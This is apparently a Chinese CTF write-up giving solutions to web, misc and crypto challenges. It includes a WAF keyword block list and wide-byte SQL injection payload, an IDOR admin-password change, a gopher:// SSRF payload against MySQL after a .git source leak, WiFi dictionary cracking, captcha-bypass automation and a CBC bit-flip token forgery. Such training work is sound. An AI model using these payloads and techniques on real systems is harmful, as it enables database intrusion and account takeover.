web

1. 又双叒叕是SQLI [300]

根据提示,扫描一下备份文件,可以得到 /index.php~。阅读源码可知考查 MySQL 宽字节注入与 WAF 绕过,通过构造形如 ?user=admin2%bf%27... 的 payload 即可使单引号逃逸,进行注入

<?php
    error_reporting(0);
    include("sql.php");
    $waf="/(union|group by|=|>|<|hex| |lower|strcmp|updatexml|xmlelement|extractvalue|concat|bin|sleep|mid\(|substr|left|ascii|\/\*|\*\/)/i";
    if(isset($_GET['user'])){
        if(preg_match_all($waf,$_GET['user'])!=0){
            $user="admin";
        }else{
            $user = str_replace("'","\'",$_GET['user']);
        }
        //echo $user."<br>";
        $sqli = new mysqli($host,$username,$passwd,$database);
        $sqli->set_charset("gbk");
        $query="select * from users where username='".$user."'";
        $result = $sqli->query($query);
        //echo $sqli->error;
        $num=0;
        @$num = $result->num_rows;
        if($num>0){
            while($row = $result->fetch_row()){
                echo $row[0]."    ".$row[1]."   ".$row[2]."<br>";
            }
        }
    }

Flag: hgame{like!injection!so!g00d##}

2. 散落的flag [200]

本周 web 签到题。测试一下站点发现主要有 login.phpregister.phpuser_info.phpchange_pwd.php 等页面

首先进行注册,这里随便注册一个账号就可以登录后跳转至个人页面 user_info.php 获取第一段 flag。注意注册账号时的手机验证码并不会真的发短信,直接查看 HTTP 请求的返回数据即可获取验证码

修改 username 参数为 admin,再次请求 user_info.php 可以获取第二段 flag

然后通过修改密码功能,修改请求中的 username 参数为 admin,即可修改 admin 账号的密码,登录即可获取第三段 flag

Flag: hgame{0102940de110c546b2cf6898924acfce}

3. 奇怪的SQLi [600]

本题考查 SSRF 漏洞的利用。首先注册账号并登录,此处没有可利用的漏洞,随意即可

登录来到主要页面 index.html,测试一下文本框发现可以使用 file:// 协议读取文件,猜测存在 SSRF 漏洞,可以利用 gopher:// 协议与 MySQL 进行通讯,但这需要进行登录,而 MySQL 的信息未知

对站点进行一下扫描,发现存在 /.git/ 目录,可能存在源码泄露。使用 dvcs-ripper 恢复仓库。

$ rip-git.pl -o ./src -v -u http://123.206.203.108:5000/.git/

查看仓库提交历史,进行版本回退,恢复 config.php 文件

$ git log
...
commit 18c294dc7b3dbb82d8d52e7aa84de0a66a1bf88f
Author: week4 <week4@week4.com>
Date:   Sun Feb 25 06:52:02 2018 +0000

    Revert "add php"

    This reverts commit 39f5ffd3d4fdd124bc93f52d72f561817b6f8fd9.

commit 39f5ffd3d4fdd124bc93f52d72f561817b6f8fd9
Author: week4 <week4@week4.com>
Date:   Sun Feb 25 06:51:57 2018 +0000

    add php
...
$ git reset --hard 39f5ffd3d4fdd124bc93f52d72f561817b6f8fd9
HEAD is now at 39f5ffd add php

查看 config.php 文件,获取 MySQL 主机名、用户名与密码(空)

$db_host = 'mysql';
$db_name = 'users';
$db_user = 'week4';
$db_pwd = '';

构造 payload 进行尝试,payload 的生成脚本可以参考 exploit.py

gopher://172.17.0.2:3306/A%2C%00%00%01O%B7%00%00%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00week4%00%00flag%00%0D%00%00%00%03select%20now%28%29%00%00%00%00

成功返回当前时间,漏洞利用成功

web_3_1.png

之后查表即可获取 flag

Flag: hgame{Th1s_Flaggggggggggg}

re

做不来施工中

pwn

做不来施工中

misc

1. ngc’s wifi [200]

根据提示,密码是潍坊的手机号。采集一下 http://www.bixinshui.com/city/12 的号段列表,编写 Python 脚本生成字典

import itertools
import requests
import re

response = requests.get('http://www.bixinshui.com/city/12').content
prefixes = re.findall(r'>(\d{7})<', response)

dic = open('dic.txt', 'a')
suffixes = list(itertools.product('0123456789', repeat=4))

for i in prefixes:
    for j in suffixes:
        number = i + ''.join(j)
        print(number)
        dic.write(number + '\n')

dic.close()

之后使用 Aircrack-ng 工具即可通过题目所给的握手包破解 WiFi 密码

Flag: hgame{13375369512}

2. so jb ez captcha [300]

奇怪题……似乎是考查写脚本能力……

网站大致逻辑是:提交一个 token 会返回一个图片的 base64 编码,图片是白底黑字的一个数字,需要在很短的时间间隔内提交这个数字

利用 tesseract 可以进行图片识别,由于训练等过于复杂,可以用百度的文字识别 API 代替

编写 Python 脚本即可获取 flag

from PIL import Image
import base64
import cStringIO
import urllib
import requests
import json
import random

r = requests.session()
url = 'http://115.159.33.58/sojbezcaptcha?token='
token = random.randint(0, 100)
headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36'}

while 1:
    while 1:
        response = r.get(url + token, headers=headers).content
        if 'Error' not in response:
            break
    imgstring = json.loads(response)['captcha_png_base64']
    pic = cStringIO.StringIO()
    image_string = cStringIO.StringIO(base64.b64decode(imgstring))
    image = Image.open(image_string).resize((20, 30), Image.ANTIALIAS)
    buffer = cStringIO.StringIO()
    image.save(buffer, format='PNG')
    postData = urllib.urlencode({'access_token': '___BAIDU_API_ACCESS_TOKEN___', 'image': base64.b64encode(buffer.getvalue())})
    response = requests.post('https://aip.baidubce.com/rest/2.0/ocr/v1/general_basic', verify=False, headers={'Content-Type': 'application/x-www-form-urlencoded'}, data=postData).content
    captcha = json.loads(response)['words_result'][0]['words']
    print(captcha)
    while 1:
        response = r.get(url + token + '&submit=' + captcha, headers=headers).content
        if 'Error' not in response:
            break
    print(response)
    if json.loads(response)['flag'] != None:
        break

由于百度 API 对于图片尺寸有要求,故在脚本中使用 PIL 库对图片进行放大处理

Flag: hgame{hammerissojbcute}

crypto

1. ezECC [200]

考查椭圆曲线加密算法,使用 Sage 即可解出 x 与 y

p = 1026347883361447
a = 499590297305427
b = 30115568120981
G = (817367249716330, 483834901818242)
k = 622849

C = EllipticCurve(FiniteField(p), [a, b])

result = C.point((G[0], G[1]))*k

Flag: hgame{1400208214439804}

2. HellRSA [500]

RSA 低位泄露,解析施工中

编写 Python 脚本即可爆破

from libnum import *

# 此处省略题目所给的数据
n = 0x6060e43632ae2bb9...
g = 0x6060e43632ae2bb9...
c = 0xb23aef818896a91c...

sols = {(0, 0)}

for m in range(1111):
    sols2 = set()
    mask = (2 << m) - 1

    for p, q in sols:
        if p * q == n:
            d = invmod(65537, (p - 1) * (q - 1))
            print(n2s(pow(c, d, n)))
            quit()

        for bp in range(2):
            for bq in range(2):
                pp = p + (bp << m)
                qq = q + (bq << m)

                if (pp * qq) & mask != n & mask:
                    continue
                gg = (pp * qq) - (pp ^ qq)
                if gg & mask != g & mask:
                    continue
                sols2.add((pp, qq))

    sols = sols2

Flag: hgame{xxxxxxxxxxxxx}

3. CBC V0.3 [300]

阅读源码,和 CBC V0.2 基本一致

首先进行注册,用户名为空(直接回车)

得到 salt 的 MD5 sig 值

http://cmd5.com/ 进行查询,得到 salt 的明文 ert#$%678(是一条付费查询)

重新注册,用户名为 ddmino,得到 'ddmino' + '\x0a' * 10 的 token,通过 CBC 字节翻转攻击,修改 IV 使其解密为 'admino' + '\x0a' * 9 + '\x0b'

这样的 token 在经过 unpad 后就能得到 salt + 'admin' 的结果,满足程序后面的判断条件

而其 sig 值即为 md5(salt + ‘admin’),直接可算得

Flag: hgame{You_g*t_1t}


发表评论

电子邮件地址不会被公开。 必填项已用*标注